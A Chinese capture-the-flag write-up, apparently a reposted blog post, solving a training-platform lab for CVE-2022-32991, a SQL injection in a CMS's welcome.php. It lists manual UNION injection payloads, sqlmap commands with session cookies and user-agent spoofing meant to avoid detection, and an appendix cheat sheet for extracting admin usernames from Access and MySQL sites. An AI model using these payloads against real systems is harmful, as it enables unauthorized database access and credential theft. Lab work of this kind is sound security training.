春秋云境:CVE-2022-32991(SQL注入)

目录

一.i春秋

 二.手工注入

三.sqlmap注入

1.sqlmap注入---文件.txt

2.sqlmap--参数

附:sql注入命令


一.i春秋

靶标介绍:

该CMS的welcome.php中存在SQL注入攻击。

打开是一个登录注册页面:

 点击登录:url看着也没有sql注入

随意输入邮箱和密码:

 并用bp抓包

 回显用户名或者密码错误:

考虑到要找welcome.php,应该是一个登录进去的页面,爆破登录太慢,有随机性。

就从注册页面入手吧:

进入注册页面:

用户密码随意输入就可:

 登录我们刚刚注册的用户:

成功登录,进入welcome.php页面: 

q=2 

 q=3

当q=4时:是没有页面的

 经过简单的测试,发现home下的start可以跳转:

 查看一下url:

 发现submit每点击一次,url的n的值就会加1:

 测试url的 n=2' 发现有sql注入:

 二.手工注入

 测试注入点:

n=2' union select 1,2,3,4,5--+

http://eci-2zedx8v26d3xirugdhkx.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2%27%20union%20select%201,2,3,4,5--+&t=34

查询当前数据库名称:

n=2' union select 1,2,database(),4,5--+

查询数据库位置:

n=2' union select 1,2,@@datadir,4,5--+

 查询数据库表

2' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+

 查看flag表中的字段:

2' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='ctf' and table_name='flag'--+

查询字段flag

 2' union select 1,2,group_concat(flag),4,5 from flag--+

flag值 :

 flag{159e51b2-cdb2-4db2-a59f-5c5c1971216d}

以下是sqlmap工具跑出来的,容器是一个新的,所以flag不一样。

三.sqlmap注入

 测试并burp抓包:

这时我们可以用两种方法解题:

 都是用到sqlmap的

 Sqlmap基本参数:

--u                             #指定要测试的目标url
--p                             #指定sqlmap注入的传参参数
--cookie                        #绕过身份验证
--random-agent或--user-agent    #绕过客户端验证
--batch                         #默认后续sqlmap操作都为Y
--dbs                           #爆破所有数据库(databases缩写)

1.sqlmap注入---文件.txt

 把抓包的内容写入txt中:

 爆库:

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -dbs

 爆出来数据库:

 爆表

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" --tables

 爆出来的表:

 爆列:

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" -T "flag" --columns

爆字段:

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" -T "flag" -C "flag" --dump

 

得出来flag:

flag{d08e9fb8-9a7e-4827-b478-a32665656c8e}

 

2.sqlmap--参数

        该页面采用了登录访问,所以首先想到要使用–cookie参数使得sqlmap绕过身份验证,并添加–user-agent参数或–random-agent使得sqlmap绕过客户端验证,否则可能会被识别到明显的sqlmap客户端标识,从而导致攻击的中断。

-u 的url

 -u "http://eci-2ze1e3vw3lo1qejbppsf.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10"

-p 的参数 

 -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"

--cookie 设置cookie值 

--cookie="ci_session=b46e9bd88b56429f4211f41daad049b50003af24; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681218038; PHPSESSID=th97u64vl5evkho1etki7jucnu; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681219668"

自动确认y 和 爆库

--batch --dbs

 完整的:

虽然有点多,但也就是复制粘贴的事~

python sqlmap.py -u "http://eci-2ze1e3vw3lo1qejbppsf.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" --cookie="ci_session=b46e9bd88b56429f4211f41daad049b50003af24; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681218038; PHPSESSID=th97u64vl5evkho1etki7jucnu; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681219668" --batch --dbs

 

 爆表:

python sqlmap.py -u "" -p "eid" --user-agent="" --cookie="" --batch -D "ctf" --tables

爆列:

python sqlmap.py -u "" -p "eid" --user-agent="" --cookie=""  --batch -D "ctf" -T "flag" --columns

爆字段:

python sqlmap.py -u "" -p "eid" --user-agent="" --cookie=""  --batch -D "ctf" -T "flag" -C "flag" --dump

附:sql注入命令

1.可能出现asp?id=x的网站

  只能是基于asp、PHP、jsp、aspx的动态网站,并且存在数据库交互,例:登陆、留言板、搜索、新闻。但是静态页面不可以,如html、htm。

2.漏洞测试

  (1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入;

  (2)利用条件语句测试:利用SQL连接选项‘and’连接URL,把1=1和1=2作为条件同样连接进去,如果条件不成立数据库就会发生变化,代表存在注入,同时也可以判断数据库的类型。

3.Acess数据库注入(手动)

  (1)使用‘and’语句来判断是否存在注入;

  (2)判断数据库类型;

    and (select count(*) from msysobjects)>0;返回权限不足是access表,反之则MSSQL。

  (3)查看数据库名;

    and db_name()>0

    (4)查看版本信息;

    and 0<>(select @@version)

  (5)查看数据库中是否存在admin这个管理表;

    and exists(select * from [admin])

    and (select count(*) from admin)>0

  (6)查看admin这个表中是否有username这个管理列;

    and exists(select top 1 [username] from [admin])

    and (select username from admin)>0

  (7)猜测admin这个管理列中用户名的长度;

    and (select top 1 len(username) from admin)>0

    后面的长度随意猜测,选择最大返回正常值加1作为长度。

    (8)取出username的ASCII码值;

    and (select top 1 asc(mid(username,N,1)) from admin)>0

    mid()函数用来截取,N为第几位,‘1’代表几位数;得到的结果可用工具小葵进行转换,得到的便是真实值。

4.MySQL数据库注入(手动)

  (1)判断注入点,后面加#,返回正常则为MySQL数据库;

  (2)判断字段数;

    orderb by 1--

    数字可以不断的加,当返回值改变时,则为全部字段数+1;得到字段数来判断能回显数据的位置

  (3)联合查询,判断可回显数据的位置;

    union select 1,2,3...(上一个得到的字段数)--

    要在URL中加入一个错误的判断值(and 1=2 或在数值前加‘-’号)页面才会显示能够显示数据的位置。

  (4)查看用户,版本,库名

    user(),version(),database()

  (5)查看管理表(常见的管理表命名方式:system、login、admin、users)

    union select 1,table_name(此处为可显示数据的位置),3,...(字段数) from Information_schema.tables where table_schema=(此处为库名的16进制数) limit 0,1--

  (6)查看列

    union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16进制) limit 0,1--

5.sqlmap

  (1)需要在python环境下运行;

  (2)测试是否为注入点;

    sqlmap.py -u "URL"

  (3)获取数据列表;

    sqlmap.py -u "URL" --dbs

  (4)当前数据库;

    sqlmap.py -u "URL" --current-db

  (5)获取数据库所有表信息;

    sqlmap.py -u "URL" --tables -D "目标数据库"

  (6)获取列;

    sqlmap.py -u "URL" --column -T "管理表" -D “目标数据库”

  (7)获取字段;

    sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目标数据库”

猜你喜欢

转载自blog.csdn.net/m0_65712192/article/details/130094542
今日推荐